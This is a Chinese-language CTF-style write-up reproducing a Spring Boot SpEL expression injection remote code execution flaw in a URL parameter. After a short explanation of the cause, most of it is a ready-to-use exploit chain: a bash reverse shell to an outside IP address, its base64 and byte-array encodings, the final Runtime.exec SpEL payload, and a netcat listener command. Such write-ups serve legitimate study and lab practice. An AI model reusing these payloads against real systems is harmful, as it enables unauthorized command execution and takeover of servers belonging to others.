Spring Boot SpEL 表达式注入 RCE 漏洞复现

漏洞原理

其漏洞点在于 Spring Boot 处理参数值出错，流程进入
org.springframework.util.PropertyPlaceholderHelper 类中。

此时 URL 中的参数值会用 parseStringValue 方法进行递归解析。

其中 ${} 包围的内容都会被
org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的
resolvePlaceholder 方法当作 SpEL 表达式 被解析执行，从而造成 RCE 漏洞。

漏洞复现

访问目标站点时，会出现经典 Spring Boot 的白色错误界面。

输入以下 Payload 验证漏洞：

/article?id=${hi}

如果页面正常解析 ${}，说明存在漏洞。

构造利用 Payload

第一步：构造反弹 Shell 命令

原始命令：

bash -i >& /dev/tcp/47.242.48.160/666 0>&1

进行 Base64 编码后：

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4yNDIuNDguMTYwLzY2NiAwPiYx}|{base64,-d}|{bash,-i}

第二步：转换为十六进制

将上述字符串转换为 byte 数组形式：

0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x7b,0x65,0x63,0x68,0x6f,0x2c,0x59,0x6d,
0x46,0x7a,0x61,0x43,0x41,0x74,0x61,0x53,0x41,0x2b,0x4a,0x69,0x41,0x76,0x5a,0x47,
0x56,0x32,0x4c,0x33,0x52,0x6a,0x63,0x43,0x38,0x30,0x4e,0x79,0x34,0x79,0x4e,0x44,
0x49,0x75,0x4e,0x44,0x67,0x75,0x4d,0x54,0x59,0x77,0x4c,0x7a,0x59,0x32,0x4e,0x69,
0x41,0x77,0x50,0x69,0x59,0x78,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x65,0x36,0x34,0x2c,
0x2d,0x64,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x68,0x2c,0x2d,0x69,0x7d

第三步：拼接最终 Payload

最终利用代码：

${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{
0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x7b,0x65,0x63,0x68,0x6f,0x2c,0x59,0x6d,0x46,0x7a,0x61,0x43,0x41,0x74,0x61,0x53,0x41,0x2b,0x4a,0x69,0x41,0x76,0x5a,0x47,0x56,0x32,0x4c,0x33,0x52,0x6a,0x63,0x43,0x38,0x30,0x4e,0x79,0x34,0x79,0x4e,0x44,0x49,0x75,0x4e,0x44,0x67,0x75,0x4d,0x54,0x59,0x77,0x4c,0x7a,0x59,0x32,0x4e,0x69,0x41,0x77,0x50,0x69,0x59,0x78,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x65,0x36,0x34,0x2c,0x2d,0x64,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x68,0x2c,0x2d,0x69,0x7d
}))}

完整请求：

/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{...}))}

反弹 Shell

在攻击机监听端口：

nc -lvvp 666

触发 Payload 后即可获得反弹 Shell。

获取 Flag

成功获得服务器权限后，读取 Flag。

漏洞总结

漏洞产生原因：

1. Spring Boot 对 ${} 占位符解析
2. SpEL 表达式被执行
3. 未进行安全限制

攻击者可以利用：

${T(java.lang.Runtime).getRuntime().exec()}

执行系统命令，从而导致 远程代码执行（RCE）漏洞。

不过这就是最简单的没有过滤
bypass可以看这个文章量大管饱